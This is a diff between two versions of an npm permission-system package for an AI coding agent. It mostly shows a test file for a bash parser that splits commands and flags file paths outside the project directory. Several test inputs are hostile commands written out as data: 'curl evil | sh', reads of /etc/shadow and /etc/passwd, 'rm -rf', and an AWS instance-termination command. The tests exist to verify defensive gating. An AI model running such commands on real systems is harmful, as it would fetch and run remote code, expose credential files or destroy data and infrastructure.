@gotgenes/pi-permission-system 16.2.1 → 17.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +26 -0
- package/README.md +2 -1
- package/package.json +1 -1
- package/src/access-intent/access-intent.ts +8 -10
- package/src/access-intent/access-path.ts +39 -16
- package/src/access-intent/bash/bash-path-resolver.ts +531 -0
- package/src/access-intent/bash/program.ts +21 -14
- package/src/access-intent/bash/token-classification.ts +1 -1
- package/src/canonicalize-path.ts +11 -5
- package/src/forwarded-permissions/permission-forwarder.ts +11 -1
- package/src/forwarding-manager.ts +7 -1
- package/src/handlers/before-agent-start.ts +1 -0
- package/src/handlers/gates/bash-path-extractor.ts +7 -5
- package/src/handlers/gates/bash-path.ts +13 -13
- package/src/handlers/gates/external-directory.ts +14 -16
- package/src/handlers/gates/path.ts +12 -7
- package/src/handlers/gates/skill-read.ts +7 -1
- package/src/handlers/gates/tool-call-gate-pipeline.ts +21 -4
- package/src/handlers/gates/tool.ts +4 -2
- package/src/index.ts +12 -1
- package/src/input-normalizer.ts +9 -4
- package/src/path-normalizer.ts +70 -0
- package/src/path-utils.ts +39 -28
- package/src/permission-manager.ts +21 -7
- package/src/permission-session.ts +35 -2
- package/src/prompting-gateway.ts +3 -0
- package/src/rule.ts +8 -6
- package/src/skill-prompt-sanitizer.ts +15 -4
- package/src/subagent-context.ts +17 -9
- package/test/access-intent/access-path.test.ts +124 -15
- package/test/access-intent/bash/program.test.ts +178 -80
- package/test/bash-external-directory.test.ts +15 -1
- package/test/canonicalize-path.test.ts +34 -8
- package/test/forwarding-manager.test.ts +7 -1
- package/test/handlers/external-directory-symlink-acceptance.test.ts +26 -4
- package/test/handlers/gates/bash-command-metamorphic.test.ts +5 -1
- package/test/handlers/gates/bash-external-directory.test.ts +5 -2
- package/test/handlers/gates/bash-path.test.ts +14 -9
- package/test/handlers/gates/external-directory-policy.test.ts +28 -18
- package/test/handlers/gates/external-directory.test.ts +9 -1
- package/test/handlers/gates/path.test.ts +90 -20
- package/test/handlers/gates/skill-read.test.ts +22 -13
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +2 -1
- package/test/handlers/gates/tool.test.ts +13 -1
- package/test/helpers/gate-fixtures.ts +11 -2
- package/test/helpers/session-fixtures.ts +3 -0
- package/test/input-normalizer.test.ts +104 -39
- package/test/path-normalizer.test.ts +123 -0
- package/test/path-utils.test.ts +130 -51
- package/test/permission-forwarder.test.ts +1 -0
- package/test/permission-manager-unified.test.ts +40 -0
- package/test/permission-resolver.test.ts +14 -32
- package/test/permission-session.test.ts +41 -0
- package/test/pi-infrastructure-read.test.ts +27 -4
- package/test/prompting-gateway.test.ts +1 -0
- package/test/rule.test.ts +88 -42
- package/test/session-rules.test.ts +21 -4
- package/test/skill-prompt-sanitizer.test.ts +69 -14
- package/test/subagent-context.test.ts +77 -31
- package/test/synthesize.test.ts +13 -11
- package/src/access-intent/bash/cwd-projection.ts +0 -498
|
@@ -11,56 +11,91 @@ vi.mock("node:fs", () => ({
|
|
|
11
11
|
}));
|
|
12
12
|
|
|
13
13
|
import { BashProgram } from "#src/access-intent/bash/program";
|
|
14
|
+
import { PathNormalizer } from "#src/path-normalizer";
|
|
14
15
|
|
|
15
16
|
describe("BashProgram", () => {
|
|
16
17
|
describe("pathRuleCandidates", () => {
|
|
17
18
|
const cwd = "/projects/my-app";
|
|
19
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
20
|
+
|
|
21
|
+
beforeEach(() => {
|
|
22
|
+
realpathSync.mockReset();
|
|
23
|
+
realpathSync.mockImplementation((p: string) => p);
|
|
24
|
+
});
|
|
18
25
|
|
|
19
26
|
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
20
|
-
const program = await BashProgram.parse("cat src/foo.ts",
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
27
|
+
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
28
|
+
const candidates = program.pathRuleCandidates();
|
|
29
|
+
expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
|
|
30
|
+
expect(candidates[0].path.matchValues()).toEqual([
|
|
31
|
+
"/projects/my-app/src/foo.ts",
|
|
32
|
+
"src/foo.ts",
|
|
26
33
|
]);
|
|
34
|
+
expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
|
|
27
35
|
});
|
|
28
36
|
|
|
29
37
|
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
30
38
|
const program = await BashProgram.parse(
|
|
31
39
|
"cd nested && cat src/file.txt",
|
|
32
|
-
|
|
40
|
+
normalizer,
|
|
33
41
|
);
|
|
34
42
|
const fileCandidate = program
|
|
35
43
|
.pathRuleCandidates()
|
|
36
44
|
.find((candidate) => candidate.token === "src/file.txt");
|
|
37
|
-
expect(fileCandidate).toEqual(
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
+
expect(fileCandidate?.path.matchValues()).toEqual([
|
|
46
|
+
"/projects/my-app/nested/src/file.txt",
|
|
47
|
+
"nested/src/file.txt",
|
|
48
|
+
"src/file.txt",
|
|
49
|
+
]);
|
|
50
|
+
expect(fileCandidate?.path.value()).toBe(
|
|
51
|
+
"/projects/my-app/nested/src/file.txt",
|
|
52
|
+
);
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
it("adds the canonical alias for a symlinked token (#486)", async () => {
|
|
56
|
+
// /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
|
|
57
|
+
realpathSync.mockImplementation((p: string) =>
|
|
58
|
+
p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
|
|
59
|
+
);
|
|
60
|
+
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
61
|
+
const candidate = program.pathRuleCandidates()[0];
|
|
62
|
+
expect(candidate.path.matchValues()).toEqual([
|
|
63
|
+
"/projects/my-app/src/foo.ts",
|
|
64
|
+
"src/foo.ts",
|
|
65
|
+
"/vault/foo.ts",
|
|
66
|
+
]);
|
|
45
67
|
});
|
|
46
68
|
|
|
47
69
|
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
48
70
|
const program = await BashProgram.parse(
|
|
49
71
|
'cd "$DIR" && cat src/foo.ts',
|
|
50
|
-
|
|
72
|
+
normalizer,
|
|
51
73
|
);
|
|
52
74
|
const fileCandidate = program
|
|
53
75
|
.pathRuleCandidates()
|
|
54
76
|
.find((candidate) => candidate.token === "src/foo.ts");
|
|
55
|
-
expect(fileCandidate).toEqual(
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
77
|
+
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
|
|
78
|
+
expect(fileCandidate?.path.value()).toBe("src/foo.ts");
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
|
|
82
|
+
// A canonical alias here would resolve against the wrong (unknown) base.
|
|
83
|
+
realpathSync.mockImplementation(() => "/somewhere/else");
|
|
84
|
+
const program = await BashProgram.parse(
|
|
85
|
+
'cd "$DIR" && cat src/foo.ts',
|
|
86
|
+
normalizer,
|
|
87
|
+
);
|
|
88
|
+
const fileCandidate = program
|
|
89
|
+
.pathRuleCandidates()
|
|
90
|
+
.find((candidate) => candidate.token === "src/foo.ts");
|
|
91
|
+
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
|
|
92
|
+
expect(fileCandidate?.path.boundaryValue()).toBe("");
|
|
59
93
|
});
|
|
60
94
|
});
|
|
61
95
|
|
|
62
96
|
describe("externalPaths", () => {
|
|
63
97
|
const cwd = "/projects/my-app";
|
|
98
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
64
99
|
|
|
65
100
|
beforeEach(() => {
|
|
66
101
|
realpathSync.mockReset();
|
|
@@ -68,7 +103,7 @@ describe("BashProgram", () => {
|
|
|
68
103
|
});
|
|
69
104
|
|
|
70
105
|
it("returns absolute paths resolving outside cwd", async () => {
|
|
71
|
-
const program = await BashProgram.parse("cat /etc/hosts",
|
|
106
|
+
const program = await BashProgram.parse("cat /etc/hosts", normalizer);
|
|
72
107
|
// Subset matcher: the path is normalized before comparison.
|
|
73
108
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
74
109
|
"/etc/hosts",
|
|
@@ -76,16 +111,48 @@ describe("BashProgram", () => {
|
|
|
76
111
|
});
|
|
77
112
|
|
|
78
113
|
it("excludes paths within cwd", async () => {
|
|
79
|
-
const program = await BashProgram.parse("cat src/index.ts",
|
|
114
|
+
const program = await BashProgram.parse("cat src/index.ts", normalizer);
|
|
80
115
|
expect(program.externalPaths()).toHaveLength(0);
|
|
81
116
|
});
|
|
82
117
|
|
|
118
|
+
describe("win32 projection (injected platform, no vi.mock node:path)", () => {
|
|
119
|
+
const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
|
|
120
|
+
|
|
121
|
+
it("resolves and case-folds a rooted path outside cwd", async () => {
|
|
122
|
+
const program = await BashProgram.parse(
|
|
123
|
+
"cat /etc/hosts",
|
|
124
|
+
winNormalizer,
|
|
125
|
+
);
|
|
126
|
+
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
127
|
+
"c:\\etc\\hosts",
|
|
128
|
+
]);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
it("flags a ..-traversal escaping cwd under win32 rules", async () => {
|
|
132
|
+
const program = await BashProgram.parse(
|
|
133
|
+
"cat ../sibling/x",
|
|
134
|
+
winNormalizer,
|
|
135
|
+
);
|
|
136
|
+
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
137
|
+
"c:\\projects\\sibling\\x",
|
|
138
|
+
]);
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
|
|
142
|
+
const program = await BashProgram.parse(
|
|
143
|
+
"cd sub && cat ../x",
|
|
144
|
+
winNormalizer,
|
|
145
|
+
);
|
|
146
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
83
150
|
describe("effective working directory projection", () => {
|
|
84
151
|
it("folds a sequence of current-shell cd commands", async () => {
|
|
85
152
|
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
86
153
|
const program = await BashProgram.parse(
|
|
87
154
|
"cd a && cd b && cat ../c",
|
|
88
|
-
|
|
155
|
+
normalizer,
|
|
89
156
|
);
|
|
90
157
|
expect(program.externalPaths()).toHaveLength(0);
|
|
91
158
|
});
|
|
@@ -95,7 +162,7 @@ describe("BashProgram", () => {
|
|
|
95
162
|
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
96
163
|
const program = await BashProgram.parse(
|
|
97
164
|
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
98
|
-
|
|
165
|
+
normalizer,
|
|
99
166
|
);
|
|
100
167
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
101
168
|
"/projects/etc/passwd",
|
|
@@ -107,7 +174,7 @@ describe("BashProgram", () => {
|
|
|
107
174
|
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
108
175
|
const program = await BashProgram.parse(
|
|
109
176
|
"mkdir d && cd a && cat ../b",
|
|
110
|
-
|
|
177
|
+
normalizer,
|
|
111
178
|
);
|
|
112
179
|
expect(program.externalPaths()).toHaveLength(0);
|
|
113
180
|
});
|
|
@@ -115,7 +182,7 @@ describe("BashProgram", () => {
|
|
|
115
182
|
it("does not fold a backgrounded cd", async () => {
|
|
116
183
|
// `cd a &` runs in a subshell, so it must not update the running
|
|
117
184
|
// directory; ../b resolves against cwd and escapes.
|
|
118
|
-
const program = await BashProgram.parse("cd a & cat ../b",
|
|
185
|
+
const program = await BashProgram.parse("cd a & cat ../b", normalizer);
|
|
119
186
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
120
187
|
"/projects/b",
|
|
121
188
|
);
|
|
@@ -123,7 +190,10 @@ describe("BashProgram", () => {
|
|
|
123
190
|
|
|
124
191
|
it("does not fold a cd inside a pipeline", async () => {
|
|
125
192
|
// Pipeline members run in subshells; the cd must not leak.
|
|
126
|
-
const program = await BashProgram.parse(
|
|
193
|
+
const program = await BashProgram.parse(
|
|
194
|
+
"cd nested | cat ../b",
|
|
195
|
+
normalizer,
|
|
196
|
+
);
|
|
127
197
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
128
198
|
"/projects/b",
|
|
129
199
|
);
|
|
@@ -131,13 +201,19 @@ describe("BashProgram", () => {
|
|
|
131
201
|
|
|
132
202
|
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
133
203
|
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
134
|
-
const program = await BashProgram.parse(
|
|
204
|
+
const program = await BashProgram.parse(
|
|
205
|
+
"( cd sub && cat ../x )",
|
|
206
|
+
normalizer,
|
|
207
|
+
);
|
|
135
208
|
expect(program.externalPaths()).toHaveLength(0);
|
|
136
209
|
});
|
|
137
210
|
|
|
138
211
|
it("does not leak a subshell cd to following commands", async () => {
|
|
139
212
|
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
140
|
-
const program = await BashProgram.parse(
|
|
213
|
+
const program = await BashProgram.parse(
|
|
214
|
+
"( cd sub ) && cat ../y",
|
|
215
|
+
normalizer,
|
|
216
|
+
);
|
|
141
217
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
142
218
|
"/projects/y",
|
|
143
219
|
);
|
|
@@ -145,12 +221,18 @@ describe("BashProgram", () => {
|
|
|
145
221
|
|
|
146
222
|
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
147
223
|
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
148
|
-
const program = await BashProgram.parse(
|
|
224
|
+
const program = await BashProgram.parse(
|
|
225
|
+
"{ cd sub; cat ../x; }",
|
|
226
|
+
normalizer,
|
|
227
|
+
);
|
|
149
228
|
expect(program.externalPaths()).toHaveLength(0);
|
|
150
229
|
});
|
|
151
230
|
|
|
152
231
|
it("persists a brace-group cd to following sibling commands", async () => {
|
|
153
|
-
const program = await BashProgram.parse(
|
|
232
|
+
const program = await BashProgram.parse(
|
|
233
|
+
"{ cd sub; } && cat ../x",
|
|
234
|
+
normalizer,
|
|
235
|
+
);
|
|
154
236
|
expect(program.externalPaths()).toHaveLength(0);
|
|
155
237
|
});
|
|
156
238
|
|
|
@@ -160,7 +242,7 @@ describe("BashProgram", () => {
|
|
|
160
242
|
// resolved against cwd/q. Conservative — never misses an escape.
|
|
161
243
|
const program = await BashProgram.parse(
|
|
162
244
|
"echo $(cd q && cat ../r)",
|
|
163
|
-
|
|
245
|
+
normalizer,
|
|
164
246
|
);
|
|
165
247
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
166
248
|
"/projects/r",
|
|
@@ -170,7 +252,10 @@ describe("BashProgram", () => {
|
|
|
170
252
|
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
171
253
|
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
172
254
|
// so it is flagged (least-privilege).
|
|
173
|
-
const program = await BashProgram.parse(
|
|
255
|
+
const program = await BashProgram.parse(
|
|
256
|
+
'cd "$DIR" && cat ../x',
|
|
257
|
+
normalizer,
|
|
258
|
+
);
|
|
174
259
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
175
260
|
"/projects/x",
|
|
176
261
|
);
|
|
@@ -181,7 +266,7 @@ describe("BashProgram", () => {
|
|
|
181
266
|
// flagged because the effective dir is unknown.
|
|
182
267
|
const program = await BashProgram.parse(
|
|
183
268
|
'cd "$DIR" && cat src/../within.txt',
|
|
184
|
-
|
|
269
|
+
normalizer,
|
|
185
270
|
);
|
|
186
271
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
187
272
|
"/projects/my-app/within.txt",
|
|
@@ -193,13 +278,13 @@ describe("BashProgram", () => {
|
|
|
193
278
|
// even when the effective dir is unknown.
|
|
194
279
|
const program = await BashProgram.parse(
|
|
195
280
|
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
196
|
-
|
|
281
|
+
normalizer,
|
|
197
282
|
);
|
|
198
283
|
expect(program.externalPaths()).toHaveLength(0);
|
|
199
284
|
});
|
|
200
285
|
|
|
201
286
|
it("treats `cd -` as an unknown effective directory", async () => {
|
|
202
|
-
const program = await BashProgram.parse("cd - && cat ../x",
|
|
287
|
+
const program = await BashProgram.parse("cd - && cat ../x", normalizer);
|
|
203
288
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
204
289
|
"/projects/x",
|
|
205
290
|
);
|
|
@@ -210,7 +295,7 @@ describe("BashProgram", () => {
|
|
|
210
295
|
// ../x resolves to cwd and is not flagged.
|
|
211
296
|
const program = await BashProgram.parse(
|
|
212
297
|
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
213
|
-
|
|
298
|
+
normalizer,
|
|
214
299
|
);
|
|
215
300
|
expect(program.externalPaths()).toHaveLength(0);
|
|
216
301
|
});
|
|
@@ -223,7 +308,7 @@ describe("BashProgram", () => {
|
|
|
223
308
|
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
224
309
|
const program = await BashProgram.parse(
|
|
225
310
|
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
226
|
-
|
|
311
|
+
normalizer,
|
|
227
312
|
);
|
|
228
313
|
expect(program.externalPaths()).toHaveLength(0);
|
|
229
314
|
});
|
|
@@ -234,7 +319,7 @@ describe("BashProgram", () => {
|
|
|
234
319
|
// cwd instead of escaping one level above.
|
|
235
320
|
const program = await BashProgram.parse(
|
|
236
321
|
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
237
|
-
|
|
322
|
+
normalizer,
|
|
238
323
|
);
|
|
239
324
|
expect(program.externalPaths()).toHaveLength(0);
|
|
240
325
|
});
|
|
@@ -247,7 +332,7 @@ describe("BashProgram", () => {
|
|
|
247
332
|
// inside — a fail-open regression this test pins.
|
|
248
333
|
const program = await BashProgram.parse(
|
|
249
334
|
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
250
|
-
|
|
335
|
+
normalizer,
|
|
251
336
|
);
|
|
252
337
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
253
338
|
"/projects/x",
|
|
@@ -260,7 +345,7 @@ describe("BashProgram", () => {
|
|
|
260
345
|
// pre-cd base.
|
|
261
346
|
const program = await BashProgram.parse(
|
|
262
347
|
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
263
|
-
|
|
348
|
+
normalizer,
|
|
264
349
|
);
|
|
265
350
|
expect(program.externalPaths()).toHaveLength(0);
|
|
266
351
|
});
|
|
@@ -278,7 +363,7 @@ describe("BashProgram", () => {
|
|
|
278
363
|
});
|
|
279
364
|
const program = await BashProgram.parse(
|
|
280
365
|
"cat /projects/my-app/link/hosts",
|
|
281
|
-
|
|
366
|
+
normalizer,
|
|
282
367
|
);
|
|
283
368
|
const external = program.externalPaths().map((p) => p.value());
|
|
284
369
|
expect(external).toContain("/projects/my-app/link/hosts");
|
|
@@ -295,7 +380,7 @@ describe("BashProgram", () => {
|
|
|
295
380
|
});
|
|
296
381
|
const program = await BashProgram.parse(
|
|
297
382
|
"cat /tmp/workspace/file.ts",
|
|
298
|
-
symlinkCwd,
|
|
383
|
+
new PathNormalizer(process.platform, symlinkCwd),
|
|
299
384
|
);
|
|
300
385
|
expect(program.externalPaths()).toHaveLength(0);
|
|
301
386
|
});
|
|
@@ -303,14 +388,15 @@ describe("BashProgram", () => {
|
|
|
303
388
|
|
|
304
389
|
describe("commands", () => {
|
|
305
390
|
const cwd = "/projects/my-app";
|
|
391
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
306
392
|
|
|
307
393
|
it("returns a single-element list for a lone command", async () => {
|
|
308
|
-
const program = await BashProgram.parse("npm install pkg",
|
|
394
|
+
const program = await BashProgram.parse("npm install pkg", normalizer);
|
|
309
395
|
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
310
396
|
});
|
|
311
397
|
|
|
312
398
|
it("splits an && chain", async () => {
|
|
313
|
-
const program = await BashProgram.parse("cd /p && npm i x",
|
|
399
|
+
const program = await BashProgram.parse("cd /p && npm i x", normalizer);
|
|
314
400
|
expect(program.commands()).toEqual([
|
|
315
401
|
{ text: "cd /p" },
|
|
316
402
|
{ text: "npm i x" },
|
|
@@ -318,22 +404,19 @@ describe("BashProgram", () => {
|
|
|
318
404
|
});
|
|
319
405
|
|
|
320
406
|
it("splits || , ; and & separators", async () => {
|
|
321
|
-
expect(
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
{ text: "a" },
|
|
331
|
-
{ text: "b" },
|
|
332
|
-
]);
|
|
407
|
+
expect(
|
|
408
|
+
(await BashProgram.parse("a || b", normalizer)).commands(),
|
|
409
|
+
).toEqual([{ text: "a" }, { text: "b" }]);
|
|
410
|
+
expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
|
|
411
|
+
[{ text: "a" }, { text: "b" }],
|
|
412
|
+
);
|
|
413
|
+
expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
|
|
414
|
+
[{ text: "a" }, { text: "b" }],
|
|
415
|
+
);
|
|
333
416
|
});
|
|
334
417
|
|
|
335
418
|
it("splits a pipeline into its commands", async () => {
|
|
336
|
-
const program = await BashProgram.parse("cat f | grep b",
|
|
419
|
+
const program = await BashProgram.parse("cat f | grep b", normalizer);
|
|
337
420
|
expect(program.commands()).toEqual([
|
|
338
421
|
{ text: "cat f" },
|
|
339
422
|
{ text: "grep b" },
|
|
@@ -341,22 +424,25 @@ describe("BashProgram", () => {
|
|
|
341
424
|
});
|
|
342
425
|
|
|
343
426
|
it("splits newline-separated commands", async () => {
|
|
344
|
-
const program = await BashProgram.parse("foo\nbar",
|
|
427
|
+
const program = await BashProgram.parse("foo\nbar", normalizer);
|
|
345
428
|
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
346
429
|
});
|
|
347
430
|
|
|
348
431
|
it("does not split operators inside quotes", async () => {
|
|
349
|
-
const program = await BashProgram.parse("echo 'x && y'",
|
|
432
|
+
const program = await BashProgram.parse("echo 'x && y'", normalizer);
|
|
350
433
|
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
351
434
|
});
|
|
352
435
|
|
|
353
436
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
354
|
-
const program = await BashProgram.parse(
|
|
437
|
+
const program = await BashProgram.parse(
|
|
438
|
+
"npm install > out.txt",
|
|
439
|
+
normalizer,
|
|
440
|
+
);
|
|
355
441
|
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
356
442
|
});
|
|
357
443
|
|
|
358
444
|
it("descends into command substitution, tagging the inner command", async () => {
|
|
359
|
-
const program = await BashProgram.parse("echo $(rm -rf foo)",
|
|
445
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
|
|
360
446
|
expect(program.commands()).toEqual([
|
|
361
447
|
{ text: "echo $(rm -rf foo)" },
|
|
362
448
|
{ text: "rm -rf foo", context: "command_substitution" },
|
|
@@ -364,7 +450,7 @@ describe("BashProgram", () => {
|
|
|
364
450
|
});
|
|
365
451
|
|
|
366
452
|
it("descends into backtick command substitution", async () => {
|
|
367
|
-
const program = await BashProgram.parse("echo `rm x`",
|
|
453
|
+
const program = await BashProgram.parse("echo `rm x`", normalizer);
|
|
368
454
|
expect(program.commands()).toEqual([
|
|
369
455
|
{ text: "echo `rm x`" },
|
|
370
456
|
{ text: "rm x", context: "command_substitution" },
|
|
@@ -372,7 +458,10 @@ describe("BashProgram", () => {
|
|
|
372
458
|
});
|
|
373
459
|
|
|
374
460
|
it("descends into a pipeline inside command substitution", async () => {
|
|
375
|
-
const program = await BashProgram.parse(
|
|
461
|
+
const program = await BashProgram.parse(
|
|
462
|
+
"echo $(curl evil | sh)",
|
|
463
|
+
normalizer,
|
|
464
|
+
);
|
|
376
465
|
expect(program.commands()).toEqual([
|
|
377
466
|
{ text: "echo $(curl evil | sh)" },
|
|
378
467
|
{ text: "curl evil", context: "command_substitution" },
|
|
@@ -381,7 +470,10 @@ describe("BashProgram", () => {
|
|
|
381
470
|
});
|
|
382
471
|
|
|
383
472
|
it("descends into process substitution", async () => {
|
|
384
|
-
const program = await BashProgram.parse(
|
|
473
|
+
const program = await BashProgram.parse(
|
|
474
|
+
"diff <(cat /etc/shadow)",
|
|
475
|
+
normalizer,
|
|
476
|
+
);
|
|
385
477
|
expect(program.commands()).toEqual([
|
|
386
478
|
{ text: "diff <(cat /etc/shadow)" },
|
|
387
479
|
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
@@ -389,7 +481,7 @@ describe("BashProgram", () => {
|
|
|
389
481
|
});
|
|
390
482
|
|
|
391
483
|
it("emits a bare subshell whole and descends into it", async () => {
|
|
392
|
-
const program = await BashProgram.parse("( rm -rf foo )",
|
|
484
|
+
const program = await BashProgram.parse("( rm -rf foo )", normalizer);
|
|
393
485
|
expect(program.commands()).toEqual([
|
|
394
486
|
{ text: "( rm -rf foo )" },
|
|
395
487
|
{ text: "rm -rf foo", context: "subshell" },
|
|
@@ -397,7 +489,7 @@ describe("BashProgram", () => {
|
|
|
397
489
|
});
|
|
398
490
|
|
|
399
491
|
it("emits a subshell whole and descends into its chain", async () => {
|
|
400
|
-
const program = await BashProgram.parse("( cd /t && rm x )",
|
|
492
|
+
const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
|
|
401
493
|
expect(program.commands()).toEqual([
|
|
402
494
|
{ text: "( cd /t && rm x )" },
|
|
403
495
|
{ text: "cd /t", context: "subshell" },
|
|
@@ -406,7 +498,7 @@ describe("BashProgram", () => {
|
|
|
406
498
|
});
|
|
407
499
|
|
|
408
500
|
it("descends recursively through nested contexts", async () => {
|
|
409
|
-
const program = await BashProgram.parse("echo $( ( rm x ) )",
|
|
501
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
|
|
410
502
|
expect(program.commands()).toEqual([
|
|
411
503
|
{ text: "echo $( ( rm x ) )" },
|
|
412
504
|
{ text: "( rm x )", context: "command_substitution" },
|
|
@@ -415,7 +507,10 @@ describe("BashProgram", () => {
|
|
|
415
507
|
});
|
|
416
508
|
|
|
417
509
|
it("descends into a substitution within a chained command", async () => {
|
|
418
|
-
const program = await BashProgram.parse(
|
|
510
|
+
const program = await BashProgram.parse(
|
|
511
|
+
"cd /p && echo $(rm x)",
|
|
512
|
+
normalizer,
|
|
513
|
+
);
|
|
419
514
|
expect(program.commands()).toEqual([
|
|
420
515
|
{ text: "cd /p" },
|
|
421
516
|
{ text: "echo $(rm x)" },
|
|
@@ -424,7 +519,7 @@ describe("BashProgram", () => {
|
|
|
424
519
|
});
|
|
425
520
|
|
|
426
521
|
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
427
|
-
const program = await BashProgram.parse("echo $(echo safe)",
|
|
522
|
+
const program = await BashProgram.parse("echo $(echo safe)", normalizer);
|
|
428
523
|
expect(program.commands()).toEqual([
|
|
429
524
|
{ text: "echo $(echo safe)" },
|
|
430
525
|
{ text: "echo safe", context: "command_substitution" },
|
|
@@ -432,14 +527,16 @@ describe("BashProgram", () => {
|
|
|
432
527
|
});
|
|
433
528
|
|
|
434
529
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
435
|
-
expect((await BashProgram.parse("",
|
|
436
|
-
expect((await BashProgram.parse(" ",
|
|
530
|
+
expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
|
|
531
|
+
expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
|
|
532
|
+
[],
|
|
533
|
+
);
|
|
437
534
|
});
|
|
438
535
|
|
|
439
536
|
it("strips a leading env-var assignment prefix", async () => {
|
|
440
537
|
const program = await BashProgram.parse(
|
|
441
538
|
"AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
|
|
442
|
-
|
|
539
|
+
normalizer,
|
|
443
540
|
);
|
|
444
541
|
expect(program.commands()).toEqual([
|
|
445
542
|
{ text: "aws ec2 terminate-instances --instance-ids i-1" },
|
|
@@ -447,14 +544,14 @@ describe("BashProgram", () => {
|
|
|
447
544
|
});
|
|
448
545
|
|
|
449
546
|
it("strips multiple leading env-var assignments", async () => {
|
|
450
|
-
const program = await BashProgram.parse("A=1 B=2 aws s3 ls",
|
|
547
|
+
const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
|
|
451
548
|
expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
|
|
452
549
|
});
|
|
453
550
|
|
|
454
551
|
it("strips the env-var prefix of each command in a chain", async () => {
|
|
455
552
|
const program = await BashProgram.parse(
|
|
456
553
|
"X=1 aws sts get-caller-identity && ls",
|
|
457
|
-
|
|
554
|
+
normalizer,
|
|
458
555
|
);
|
|
459
556
|
expect(program.commands()).toEqual([
|
|
460
557
|
{ text: "aws sts get-caller-identity" },
|
|
@@ -463,7 +560,7 @@ describe("BashProgram", () => {
|
|
|
463
560
|
});
|
|
464
561
|
|
|
465
562
|
it("keeps a pure assignment with no command unchanged", async () => {
|
|
466
|
-
const program = await BashProgram.parse("FOO=bar",
|
|
563
|
+
const program = await BashProgram.parse("FOO=bar", normalizer);
|
|
